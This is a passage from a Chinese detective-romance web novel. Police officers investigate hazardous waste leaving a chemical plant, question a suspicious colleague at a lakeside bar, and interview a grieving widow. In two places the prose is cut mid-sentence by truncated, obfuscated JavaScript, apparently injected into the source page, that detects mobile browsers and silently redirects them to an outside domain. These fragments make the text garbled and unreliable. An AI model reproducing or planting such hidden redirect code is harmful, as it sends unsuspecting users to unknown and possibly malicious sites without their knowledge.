“我……”苗川泡完咖啡,递给李达坤一杯,回到自己的工位,“他能一边画虫子,一边给你念出学名,分类精确到属种。” “属种?他搞生物的?”李达坤“啧”了一声。 “化学系。”苗川回,“不过涉猎广得离谱,给他杯咖啡,都能分析出烘焙曲线。” “吹吧。”李达坤喝了一口,咖啡不是以往的每日特选,微酸中带着隐隐的果香。 “货真价实!你现在喝的咖啡就是人家送的,咖啡豆195°左右浅烘,最大程度地保留了果香。” 李达坤放下杯子:“小罗和他关系不错?” “嗯。”苗川靠在椅背上,“谁不喜欢聪明又努力的人。” 雨滴在车窗上连成细密的珠线,陶律夏从罗乐怀中抬起身,说:“走吧。” “去哪?” “工作。” “现在?” “现在。” 罗乐一愣:“刚表白完五秒钟,就要拉我去加班?” 陶律夏:“罗警官,我们是去上班,不是加班。另外你的时间感有很大问题,你抱了我至少……十五分钟。” 罗乐半圈着人,摆出一副凶狠的样子:“给你三秒钟修改提案。” “那就——带薪恋爱。” * 两人从航天馆出来后,去了双安化工的保卫室。 主控间足有三十多平米,液晶拼接屏铺满整面墙,车间通道、厂区广场、仓库装卸口……不同区域的监控画面无休止地滚动切换。 “仓库区在这里。”安保负责人指向屏幕,“但分区有三十多个,危废品具体在哪个点位,得去安环科确认。” 罗乐抬眼,声音不带温度:“杜彦成被辞退后,有没有再回过厂里?” “来过……”负责人迟疑了一瞬,“4月14日,东门值班保安违规放行。” “就是他去厂长办公室的那次?”罗乐确认。 “对。” “保安人呢?” “已经辞退了。” “动作倒挺快。”罗乐冷笑一声,又问:“那他落水那天来过吗?” “没有。”负责人走到屏幕墙跟前,操作鼠标,“厂区只有两个出入口:南门是行人通道,有刷卡闸机,东门人车共用。我们逐帧查过,他那天没有进过厂区。” 陶律夏站在屏幕墙前,整个工厂在他眼前无声流动,某一个画面中,一辆货车正缓缓驶出厂门——他的目光停了几秒,扭头问负责人:“这些货车过门岗时,没有人查货物吗?” “现在是智能化管理。”负责人介绍,“出库需求在系统里逐级审批,通过后生成通行指令。车到门岗时保安只核对指令。” “那这些轿车呢?”陶律夏指向另一画。 “也是系统识别车牌,有通行证闸杆就会自动抬起。货车每次出库都要申请,私家车只登记一次,之后都是自动识别车牌进出。” “就是说现在不再需要人工核查?”陶律夏确认。 “对,现在全是智能化管理。” “调一下14号杜彦成来那天的监控。”罗乐对负责人说。 “那天杜彦成到门口说要找陈海,以前都是熟人,保安就替他刷了卡,结果他直接就去了厂长办公室。”负责人边操作边说。 “陈海是谁?”罗乐问。 “产线的质检员。那天俩人没见面,陈海估计就是杜彦成为了闯厂长办公室找的幌子。” 罗乐刚要接着问,陶律夏忽然朝屏幕墙走了一步:“G-E-02号监控暂停一下。” “怎么了?”罗乐跟了过去。 车流进出不断,陶律夏抬起手,指尖落在屏幕墙的一角,一辆越野车正从东门驶出。 “我师兄的车。” “程骁然?” “对,北G23798。”陶律夏转头看向罗乐:“他调酒时摆的那辆银灰色越野车。” 傍晚,细细绵绵的雨终于停了,湖风裹着凉意,灯影在水面轻晃,“京北多瑙河”的夜,又热闹起来。 湖边的木质平台上,程骁然倚在露营椅上和两人介绍起双安的情况:“危废品想流出去可不太容易。质检不过进报废库,安环科要开联单上报,监管部门要存档,再交给第三方处置公司,用专用危废车拉走,全程都有GPS 定位。” 陶律夏点点头,说:“今天也了解了一些。货车出库每次都要走流程审批,还有定位。但私家车是自动识别车牌放行,有没有可能夹带危废品?” “理论上有可能。”程骁然摇着杯子,冰块在琥珀色的液体里轻撞出细碎的碰撞声,“但太不划算。” 他举起两根手指,像在课堂上做解释:“危废桶只有两种规格——两百升的大桶,二十升的小桶。” “大桶直径半米多,高将近一米,后备箱很难塞进去。小桶差不多机油桶大小,轿车后备箱四五百升,扣掉空间浪费,能塞十来桶,SUV 容积大些,也就再多几桶。” 程骁然说着摊开一只手,指尖在空中比了个随意的弧度:“按市场价折算,一桶一百元多元,运一车出去也就一两千元。在双安能有私家车停车位的都是六级以上的员工,年薪都不低,谁会为这点钱砸了自己的饭碗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16481968|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他说着,转头朝罗乐笑了一下,“而且真要这么干,是不是还牵涉刑事犯罪?” “嗯……”罗乐点点头。 “所以啊——”程骁然语气轻快,像在总结,“我想不出,有什么理由要这样做?” “你也是双安的六级员工吧?负责什么?”罗乐笑问。 “负责谈不上。”程骁然不以为意地拨了拨刘海,灯光下他的笑容若有若无,“搞搞工艺研发,其实就是给材料找更便宜的合成路径,让生产成本少几个百分点。” 陶律夏看着他:“我还以为你会去做科研。” “科研?”程骁然捏着杯脚,眼神落在酒里,“一年半载都见不到成果,还得看基金、看导师的脸色,不做也罢。” 他换了个更松散的姿势,抬眼笑道:“你呢?怎么跑去公安局了?” “实习。”陶律夏扭开气泡水的瓶盖,气泡破裂的声音轻而短促。 “你们先聊,我去看看生蚝蒸好了没?”罗乐拍了拍陶律夏的肩,起身朝一边的摊子走去。 程骁然唇角微挑,视线顺着陶律夏的目光划向罗乐的背影,又若无其事地收回,“以你的条件,科研院所、好点的实验室都能挑吧?怎么去了公安局?是有什么职业规划?” “也没有。” “那是因为他吗?”程骁然瞟了一眼罗乐的方向。 陶律夏的手微微一滞,他把气泡水缓缓搁在桌面,抬起头直直地看向程骁然。 “别那么紧张嘛。”程骁然举杯轻啜半口酒,语气温和得像在哄人,“你们第一次来时,我就看出来了,你男朋友——” 他顿了顿,故意拖出一个缓慢的尾音--“非常帅。” 陶律夏的肩线稍稍放松,他点点头:“他确实很帅,不过感官优势只是他最浅层的魅力特征。” “呃……深层的,是什么?” “人格内核。” “……” 刚刚掌握的社交节奏被这四个字轻易击穿,程骁然有些错愕地静默了一会,那发自内心的偏爱似乎在提醒——这是他无权置喙的领域。 风带着烤肉的烟熏和脂香飘来,黏腻、喧嚣,人间烟火的味道,有些过头了。他微皱眉,抬手在空气中轻轻一扇,抬头的瞬间正好看见罗乐端着一盘生蚝回来。 程骁然顺势起身,把杯底的酒一饮而尽,笑容重新上线:“不打扰了,有空来找我喝酒。” “一起吃点吧。”罗乐招呼。 “海鲜我很少吃,要是配上夏布利的干白可能还算有趣,可惜——”程骁然晃了晃空杯,客气一笑,“今天的微醺额度已经满了。” “再会……” 75.逻辑和花 陶律夏看着程骁然的身影没入人流,他拉过椅子在罗乐身边坐下:“你还有心思吃生蚝?刚问到关键问题,你怎么就走了?” 罗乐把盘子放好,拿起一只生蚝,用小刀在壳缝一撬,清亮的汁水流了出来。 “装卸区和仓储向来有监控死角,出库环节又多。程骁然说的没错,想弄清楚谁在帮杜彦成运废料并不容易。” 罗乐说完挑出蚝肉送到陶律夏唇边:“来,宝贝,张嘴。” 陶律夏沉默三秒,还是配合地咬下去,他咽下后接着问:“程骁然既和死者在同一个厂,又在案发地1.5公里内摆摊,这两个条件叠加,本身就是低概率事件。你不觉得他出现的有些太巧了吗?” “觉得。”罗乐神色一敛,点了点头。 “但现在并没有能把他们联系起来的实际线索。程骁然有什么杀人动机?又有什么理由帮杜彦成运废料?他车上随便一瓶好点的酒,都顶得上十几车废料。” “所以,你是打算从经济动机入手,先把程骁然给排除了?”陶律夏追问。 “不。”罗乐抬起头,“我觉得他不太对劲,现在还不好描述,是种直觉。“ “刑警的直觉?”陶律夏刚说完,又被投喂了一颗蚝肉。 “嗯。”罗乐自己也拿起一只吃了,“有时候是现场的一点异常,有时候是嫌疑人一句多余的话。那种细微的突兀感会像刺一样冒出来,提醒我这儿不太对劲。” 陶律夏微微俯身,凑近了一点:“你能把零散、模糊的异常提炼出来,甚至能提示行动方向,这是高于直觉的判断力。那天你审陈森的时候,我就注意到了——” “你很出色。” “等下……”罗乐手上的动作一顿,抬起头,“你刚才好像还在质疑我,现在怎么又开始夸我了?” “两者并不矛盾,质疑是理解的一部分。我上次就想说你工作的样子很迷人。”陶律夏说着。 二人在夜色中对视,一丝若有若无的淡香在罗乐鼻尖萦绕,像某种冷调的木质基底被玫瑰的香气包裹。味道不浓,是只在极近距离才会被发现的秘密。 罗乐呼吸一顿,又凑近了一点,想在那人颈侧确认香气的来源,嘴唇刚要碰上…… “砰--” 夜空被一道流光划破,陶律夏被那一瞬的亮光吸引,转过头去。 “谁啊这是!”亲人未遂的罗警官一脸不甘,他擦了擦手,拉着椅子靠到陶律夏身边,手臂一揽把人带到自己肩上。 “敢在二环内放烟花?” “放烟花也在罗警官的执法范围?”陶律夏扭过头。 “怎么不在。”罗乐故作正色。 “什么罪名?” “盗窃罪,偷走陶老师的注意力。” 罗乐哼了一声,指尖顺着陶律夏的肩线滑上去。那股香气又回到了鼻尖,带着不经意的甜气,他深吸了一口,轻声问:“要不要去帐篷里聊案子?咱们充分交流下内在和外在。” “不过这地方不隔音,你得收敛一点。” 陶律夏把头从罗乐肩上挪开,眼神平静地看着他:“我为什么要收敛?既然不隔音,那还不如回家。” “你、你、你……”罗乐又被他大胆的言论震惊了。 “我怎么了?”陶律夏微仰起脸,“我只是在陈述条件,不是实际邀约,还是,你不喜欢我这样?” “我喜欢……”罗乐把人重新揽回怀里,“你什么样子我都我喜欢,最喜欢你放纵、耍赖、不稳定……因为你会这样,大概是因为我。” “描述不准确。”陶律夏笑了。 “哦,耍赖有待商榷……” “要把‘大概’去掉。”陶律夏一偏头,吻在了他的颈侧。 * 次日上午,罗乐早早去了杜彦成家的小区,问了几个在院子里闲聊的邻居,他便踩着小区的健身器械等冯宁。 这是个老旧小区,住宅楼外墙正在改造,脚手架层层叠叠,一直搭到半空。金属的吱呀声混进远处施工的噪音中,等了一会,冯宁就到了,罗乐从上面跳下,迎了上去—— “辛苦冯警官跟我跑一趟。” 楼梯间狭窄逼仄,转角处堆着废旧小车和纸箱。“几楼啊?”冯宁迈上台阶。 “四楼。”罗乐跟上去。 “这次是不是又要请一周咖啡?”冯宁半开玩笑。 “咖啡管够。”罗乐爽快应下,“之前在局里问过一次,她不愿意说。从心理学角度讲,家属面对女警官更容易降低防备心,这是性别赋予的天然信任。” 冯宁脚步一顿,侧头看了罗乐一眼:“……你这口气,怎么有点像小陶?” “跟他在一起久了,多少染了点学术腔。” “你们两个——”冯宁刚要问。 “唉,到了。”罗乐抢先半步上前,伸手按下门铃。 屋里传来一阵小跑声,防盗门上的布帘被小手一掀,一个七八岁的男孩探出头来——是罗乐在双安门口见到的那个孩子。 冯宁俯身,轻声问:“妈妈在家吗?” 屋里传来拖鞋摩擦地面的声音,沈颖萍扶着腰,一步步走到门口。 “沈女士,打扰了。”罗乐先开口。 沈颖萍伸手把小男孩拉到身边,拧开防盗门,把人让进屋。客厅不大,靠墙摆着一张沙发,沙发座用布罩仔细蒙着。 沈颖萍在一旁落座,神情略显疲惫:“警官,案子有消息了吗?” “还在调查,我们今天来,是想再了解一点细节。”罗乐回。 小男孩一路小跑进了厨房,没一会儿拿出两杯水,小心翼翼地端到两人面前。冯宁接过杯子,冲他笑了笑:“谢谢。” 她把水放在桌上,目光落在沈颖萍隆起的腹部:“几个月了?” “七个多月,再过两个多月就该生了。” “这是您在吃吗?”冯宁拿起茶几上的药看了看,“孕期血压有波动是吗?现在这个阶段尤其要注意身体,情绪也要稳住。” 沈颖萍摇摇头:“不是我的,是我婆婆的,她年纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16496604|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大了,血压一直高。” “您丈夫平时有没有吃药的习惯?比如高血压、心脏病,或者其他慢性病?”冯宁问。 “没有,他身体一直很好。” 罗乐接过话头:“杜彦成落水当天,说是去厂里找人?他有没有提过名字?” “没有……就说去见个人,没说是谁。” “什么时候跟您说的?”罗乐继续问。 “就是出事那天下午,他早上出门钓鱼了,后来发微信说要去厂里见人。”沈颖萍回。 罗乐点点头,把笔记本摊在膝上:”杜彦成手机进了水还没恢复,能借我看看您的手机吗?就看下那天你们的聊天。” 沈颖萍轻声招呼,在饭厅写作业的小男孩一溜小跑去卧室拿来手机。 “你有没有注意到,您丈夫这段时间有什么反常的地方?”冯宁轻声问。 沈颖萍像被这句话戳中心口,怔了片刻,才低低开口:“过完年,产线就停了。他也没跟我说,还是每天照常出门……” “照常出门?他不想让你们担心,所以假装还在上班是吗?”冯宁问。 “嗯……那会他整个人都很焦躁,吃饭时心不在焉。我问过,他不肯说,我还以为是活儿太多心烦,哪知道他……其实已经没了工作。” “可就在出事前两周,他忽然不着急了,晚上也不再唉声叹气,好像……松了口气似的。“话说到这儿,沈颖萍的声音突然断了,她攥住沙发巾,努力压抑哽咽。 屋子安静下来,只剩钟表一下下敲打着时间。 “谁能想到,他最后竟然去做了傻事……”沈颖萍终于撑不住,双手掩面,泣声破碎,“怪我……怪我太不关心他了,后来回想起来,他早就不对劲了……” 冯宁伸手覆上她的手背:“人在当下,总会忽略一些细微的变化,这是记忆和注意力的局限,只有事后回想才会觉得格外明显。这不是你的错。” “他平时和谁有过矛盾吗?有没有……仇家?”罗乐放缓语气。 “没有,他性子挺老实,没和谁结怨。” “那走得近的人呢?” “我弟弟,他的同事陈海,还有几个钓鱼的朋友。”沈颖萍抹去眼角的泪。 “听他的钓友说,他前阵子买了根新鱼竿?”罗乐顺势问道。 “不止鱼竿。”沈颖萍苦笑一声,像是终于把压在心里的话吐了出来,“他突然变得很大方,给我买新衣服,给孩子买学习机,甚至连还没出生的老二,他都提前买了一辆挺贵的婴儿车。” 说到这儿,沈颖萍的眼圈又红了,“那时候我还埋怨他乱花钱,没想到……他是因为不想活了,才这样。” 冯宁劝慰片刻,见她情绪缓和,二人对视一眼起身准备告别。罗乐走到门口时,忽然顿住,他偏头朝饭厅方向看了一瞬,随即转身朝置物架走去。 置物架的格子里摆着观音像、药瓶、票据,还有一支红酒,酒标上方是圣彼得的人像图案,几个暗红色的字母隐隐发亮——Pétrus。